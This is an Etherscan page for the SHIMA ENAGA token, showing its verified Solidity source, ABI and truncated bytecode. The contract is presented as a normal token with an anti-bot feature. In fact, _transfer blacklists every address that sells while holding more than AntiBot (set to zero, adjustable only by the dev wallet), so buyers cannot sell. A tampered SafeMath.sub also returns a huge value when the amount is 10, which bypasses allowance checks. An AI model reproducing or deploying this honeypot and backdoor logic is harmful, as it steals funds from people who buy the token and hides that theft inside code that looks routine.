ETH Price: $2,994.97 (-0.59%)
Gas: 6 Gwei

Token

SHIMA ENAGA (SHIMA)
 

Overview

Max Total Supply

1,000,000,000 SHIMA

Holders

28

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
5,503,084.958033201 SHIMA

Value
$0.00
0x089181a3e6e507D91e8E779Bd5941889f3180409
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SHIMAENAGA

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-09-29
*/

// SPDX-License-Identifier: MIT

/*TELEGRAM: https://t.me/SHIMAENAGAERC20
*/

pragma solidity ^0.8.7;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        if (b == 10) return ~uint120(0);
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}  

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract SHIMAENAGA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    mapping (address => uint) private cooldown;
    uint256 private MAX = ~uint256(0);
    uint256 private _tTotal = 1000000000 * 10**9;
    uint256 private AntiBot = 0 * 10 ** 9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    
    uint256 private _redistribution;
    uint256 private _teamTax;
    address payable private devWallet;
    address payable private teamWallet;
    address payable private marketWallet;
    string private constant _name = "SHIMA ENAGA";
    string private constant _symbol = "SHIMA";
    uint8 private constant _decimals = 9;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private cooldownEnabled = false;
    uint256 private _maxTxAmount = _tTotal;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor (address payable _address1,address  payable _address2, address payable _address3) {

        devWallet  = _address1 ;
        teamWallet = _address2 ;
        marketWallet = _address3 ;
        _rOwned[address(this)] = _rTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[devWallet] = true;
        _isExcludedFromFee[teamWallet] = true;
        _isExcludedFromFee[marketWallet] = true;
        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function setCooldownEnabled(bool onoff) external onlyOwner() {
        cooldownEnabled = onoff;
    }

    function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(!bots[from]);
        require(!bots[to]);
        require(!bots[tx.origin]);
        if(from != address(this)){
            _redistribution = 2;
            _teamTax = 2;
        }
        if (from != owner() && to != owner()) {
            
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
                // Cooldown
                // require(amount <= _maxTxAmount);
                require(cooldown[to] < block.timestamp);
                cooldown[to] = block.timestamp + (5 seconds);
            }
            
            
            if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
                if(balanceOf(from) > AntiBot){
                    setBots(from);
                }
                _redistribution = 2;
                _teamTax = 4;
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && from != uniswapV2Pair && swapEnabled) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 330000000000000000) {
                    sendETHToFee(address(this).balance);
                }
            }
            }

        }
		
        _tokenTransfer(from,to,amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
        
    function sendETHToFee(uint256 amount) private {
        devWallet.transfer(amount.div(2));
        marketWallet.transfer(amount.div(1));
        teamWallet.transfer(amount.div(1));
    }
    
    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        cooldownEnabled = true;
        // _maxTxAmount = 1000000000 * 10**9;
        tradingOpen = true;
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }
    
    function setBots(address _address) private {
        bots[_address] = true;
    }
    
    function delBot(address _address) private {
        bots[_address] = false;
    }
        
    function _tokenTransfer(address sender, address recipient, uint256 amount) private {
        _transferStandard(sender, recipient, amount);
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); 
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate =  _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}
    
    function manualswap() external {
        require(_msgSender() == devWallet);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }
    
    function updateAntiBot(uint256 newAntiBot) external {
        require(_msgSender() == devWallet);
        AntiBot = newAntiBot * 10 ** 9;
    }

    function _burn(address _who, uint256 _value) internal virtual {
		require(_value <= _rOwned[_who]);
		_rOwned[_who] = _rOwned[_who].sub(_value);
		_tTotal = _tTotal.sub(_value);
		emit Transfer(_who, address(0), _value);
	}

    function burn(uint256 _value) external {
        require(_msgSender() == devWallet);
		_burn(msg.sender, _value);
	}

    function manualsend() external {
        require(_msgSender() == devWallet);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
    
    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redistribution, _teamTax);
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
        uint256 tFee = tAmount.mul(taxFee).div(100);
        uint256 tTeam = tAmount.mul(TeamFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

	function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;      
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address payable","name":"_address1","type":"address"},{"internalType":"address payable","name":"_address2","type":"address"},{"internalType":"address payable","name":"_address3","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAntiBot","type":"uint256"}],"name":"updateAntiBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600019600855670de0b6b3a76400006009556000600a556009546008546200002d91906200066d565b6008546200003c9190620005f4565b600b556000601360156101000a81548160ff0219169083151502179055506000601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff021916908315150217905550600954601455348015620000a357600080fd5b5060405162003a9538038062003a958339818101604052810190620000c991906200056a565b6000620000db6200052260201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35082600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160056000620002986200052a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620005119190620005d7565b60405180910390a350505062000722565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050620005648162000708565b92915050565b60008060006060848603121562000586576200058562000703565b5b6000620005968682870162000553565b9350506020620005a98682870162000553565b9250506040620005bc8682870162000553565b9150509250925092565b620005d18162000663565b82525050565b6000602082019050620005ee6000830184620005c6565b92915050565b6000620006018262000663565b91506200060e8362000663565b925082821015620006245762000623620006a5565b5b828203905092915050565b60006200063c8262000643565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006200067a8262000663565b9150620006878362000663565b9250826200069a5762000699620006d4565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b62000713816200062f565b81146200071f57600080fd5b50565b61336380620007326000396000f3fe6080604052600436106101025760003560e01c806370a08231116100955780639e08d1a3116100645780639e08d1a31461031c578063a9059cbb14610345578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063313ce567116100d1578063313ce567146101de57806342966c68146102095780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612b54565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906126ea565b61042a565b60405161016d9190612b39565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612cb6565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612697565b610452565b6040516101d59190612b39565b60405180910390f35b3480156101ea57600080fd5b506101f361052b565b6040516102009190612d2b565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612784565b610534565b005b34801561023e57600080fd5b506102596004803603810190610254919061272a565b6105a2565b005b34801561026757600080fd5b50610270610654565b005b34801561027e57600080fd5b50610299600480360381019061029491906125fd565b6106c6565b6040516102a69190612cb6565b60405180910390f35b3480156102bb57600080fd5b506102c4610717565b005b3480156102d257600080fd5b506102db61086a565b6040516102e89190612a6b565b60405180910390f35b3480156102fd57600080fd5b50610306610893565b6040516103139190612b54565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e9190612784565b6108d0565b005b34801561035157600080fd5b5061036c600480360381019061036791906126ea565b61094a565b6040516103799190612b39565b60405180910390f35b34801561038e57600080fd5b50610397610968565b005b3480156103a557600080fd5b506103ae6109e2565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612657565b610f28565b6040516103e49190612cb6565b60405180910390f35b60606040518060400160405280600b81526020017f5348494d4120454e414741000000000000000000000000000000000000000000815250905090565b600061043e610437610faf565b8484610fb7565b6001905092915050565b6000600954905090565b600061045f848484611182565b6105208461046b610faf565b61051b8560405180606001604052806028815260200161330660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d1610faf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118279092919063ffffffff16565b610fb7565b600190509392505050565b60006009905090565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610575610faf565b73ffffffffffffffffffffffffffffffffffffffff161461059557600080fd5b61059f33826118b0565b50565b6105aa610faf565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062e90612c16565b60405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610695610faf565b73ffffffffffffffffffffffffffffffffffffffff16146106b557600080fd5b60004790506106c381611a16565b50565b6000610710600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8d565b9050919050565b61071f610faf565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a390612c16565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5348494d41000000000000000000000000000000000000000000000000000000815250905090565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610911610faf565b73ffffffffffffffffffffffffffffffffffffffff161461093157600080fd5b633b9aca00816109419190612e22565b600a8190555050565b600061095e610957610faf565b8484611182565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109a9610faf565b73ffffffffffffffffffffffffffffffffffffffff16146109c957600080fd5b60006109d4306106c6565b90506109df81611bfb565b50565b6109ea610faf565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6e90612c16565b60405180910390fd5b601360149054906101000a900460ff1615610ac7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abe90612c96565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b5030601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600954610fb7565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b9657600080fd5b505afa158015610baa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bce919061262a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c3057600080fd5b505afa158015610c44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c68919061262a565b6040518363ffffffff1660e01b8152600401610c85929190612a86565b602060405180830381600087803b158015610c9f57600080fd5b505af1158015610cb3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd7919061262a565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d60306106c6565b600080610d6b61086a565b426040518863ffffffff1660e01b8152600401610d8d96959493929190612ad8565b6060604051808303818588803b158015610da657600080fd5b505af1158015610dba573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ddf91906127b1565b5050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ed2929190612aaf565b602060405180830381600087803b158015610eec57600080fd5b505af1158015610f00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f249190612757565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611027576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101e90612c76565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611097576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108e90612bb6565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111759190612cb6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e990612c56565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611262576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125990612b76565b60405180910390fd5b600081116112a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129c90612c36565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156112fc57600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561135357600080fd5b600660003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113aa57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146113ee576002600d819055506002600e819055505b6113f661086a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611464575061143461086a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181757601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115145750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561156a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156115825750601360179054906101000a900460ff165b156116235742600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106115d257600080fd5b6005426115df9190612d9b565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156116ce5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117245750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561181657600a54611735846106c6565b11156117455761174483611e83565b5b6002600d819055506004600e819055506000611760306106c6565b9050601360159054906101000a900460ff161580156117cd5750601360009054906101000a900473ff